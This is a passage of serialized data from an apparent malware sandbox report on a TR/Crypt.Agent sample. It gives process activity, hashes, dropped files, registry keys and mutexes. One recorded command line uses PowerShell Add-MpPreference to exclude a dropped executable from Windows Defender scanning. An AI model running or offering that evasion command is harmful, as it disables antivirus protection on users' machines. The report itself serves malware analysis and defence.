files","sha256":"e4cdd94f52c17d6877851c81e064ea4b85bd247fdb14bff13fdfe16797083c7b","normalized_path":"%WINDIR%\\SysWOW64\\EXPAND.EXE","parent_uid":"00000000-00005224","uid":"00000000-00007016"},{"pid":4680,"ppid":5224,"name":"setup0324.exe","command_line":"/VERYSILENT /VERYSILENT","sha256":"136cfe1d372f8f040c114cd5241828cd2eaf86ea86c3753483c83d22ec795c97","normalized_path":"%TEMP%\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\files\\setup0324.exe","parent_uid":"00000000-00005224","uid":"00000000-00004680"},{"pid":6420,"ppid":4680,"name":"powershell.exe","command_line":"powershell Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\\Microsoft\\Windows\\hyper-v.exe\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004680","uid":"00000000-00006420"},{"pid":7480,"ppid":4680,"name":"systeminfo.exe","command_line":"","sha256":"40f9c2f1ebb9c9ed516a1c2587777e56f9f8c136e98a70bc09010fba081933fe","normalized_path":"%WINDIR%\\SysWOW64\\systeminfo.exe","parent_uid":"00000000-00004680","uid":"00000000-00007480"}],"all_imported_dlls":["nsi.dll","framedynos.dll","ntdll.dll","kernel.appcore.dll","crypt32.dll","msctf.dll","sspicli.dll","vsstrace.dll","cryptbase.dll","urlmon.dll","user32.dll","bcryptprimitives.dll","CoreUIComponents.dll","wow64.dll","Windows.StateRepositoryPS.dll","msIso.dll","dwmapi.dll","clbcatq.dll","version.dll","ucrtbase_clr0400.dll","msi.dll","combase.dll","ole32.dll","wow64cpu.dll","fltLib.dll","rasadhlp.dll","atl.dll","msvcp_win.dll","shlwapi.dll","IPHLPAPI.DLL","msihnd.dll","imagehlp.dll","FWPUCLNT.DLL","msvcrt.dll","profapi.dll","oleaut32.dll","netapi32.dll","netutils.dll","iertutil.dll","dpx.dll","wdscore.dll","bcrypt.dll","imm32.dll","comctl32.dll","vcruntime140_clr0400.dll","VxSSL32.dll","dnsapi.dll","wininet.dll","gdi32.dll","sfc.dll","msasn1.dll","ntmarta.dll","WinTypes.dll","setupapi.dll","dbghelp.dll","wldp.dll","wintrust.dll","rpcrt4.dll","sfc_os.dll","windows.storage.dll","propsys.dll","pcacli.dll","mpr.dll","gdi32full.dll","uxtheme.dll","mscoree.dll","ws2_32.dll","cryptsp.dll","aepic.dll","edputil.dll","mswsock.dll","KernelBase.dll","SHCore.dll","fusion.dll","RstrtMgr.dll","ncrypt.dll","shell32.dll","apphelp.dll","AcLayers.dll","ucrtbase.dll","advapi32.dll","sechost.dll","CoreMessaging.dll","kernel32.dll","srpapi.dll","srclient.dll","clr.dll","cfgmgr32.dll","TextInputFramework.dll","mscoreei.dll","wow64win.dll","rsaenh.dll","cldapi.dll","dbgcore.dll","win32u.dll","wkscli.dll","ntasn1.dll","cabinet.dll","GdiPlus.dll","powrprof.dll","coml2.dll","userenv.dll","spp.dll","vssapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"hyper-v.exe","sha256":"4319dba7a10ae3436201066ee953b95cc6946e83b66b038eec5d66ba7e561144","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"hyper-v.ver","sha256":"f514455e92dbb080fb8ef6af2ebd8927102a3b02e810863bdd5f8bb217ea5cce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"powershell.exe.log","sha256":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"x3m0.1","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"x3m0.6","sha256":"24c698a7988e951219931c98807b5a1e65d2746ab07aa521d6bcc89e14818e45","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"x3m0.5","sha256":"1858bc2fe5f501c02080c5700b2a518388ad088fe45b813150a9ba124be647b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"x3m0.4","sha256":"c75084ee623451406f12a4e30624ffd844cfdada8204356a14084a3e10073926","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"x3m0.2","sha256":"a93e22aec9990d802aa9d68717d4f3587724a67de3cf5b75c5ec088112849e05","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"x3m0.3","sha256":"42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a11287f9ce09e0dd35d7ca4fd60d51a3523afa33b14075f2e8af0fcf13701390","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"x3m0.0","sha256":"0d13e8ef1c86b2b60b441b79bfb2cf1d3deb440595f20e8aec51947b3363209b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\hyper-v.exe","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"path":"%LOCALAPPDATA%\\hyper-v.ver","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"SM0:4680:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"name":"Local\\SM0:4680:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}]}},"report_ids":{"sandbox_job_ids":["6803d014752ab4b7e300e065"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious TR/Crypt.Agent Sample c646bcca5046… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample c646bcca5046…. Malware family: TR/Crypt.Agent. Threat score 100/100. 3/24 AV engines flagged this file. 5 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/c646bcca5046a575acde3510dd03a5fe26d0b4aae36da41cd76f00b0cff49793"}],["$","meta","4",{"property":"og:title","content":"Malicious TR/Crypt.Agent Sample c646bcca5046… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample c646bcca5046…. Malware family: TR/Crypt.Agent. Threat score 100/100. 3/24 AV engines flagged this file. 5 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/c646bcca5046a575acde3510dd03a5fe26d0b4aae36da41cd76f00b0cff49793"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious TR/Crypt.Agent Sample c646bcca5046… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample c646bcca5046…. Malware family: TR/Crypt.Agent. Threat score 100/100. 3/24 AV engines flagged this file. 5 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L45","11",{}]]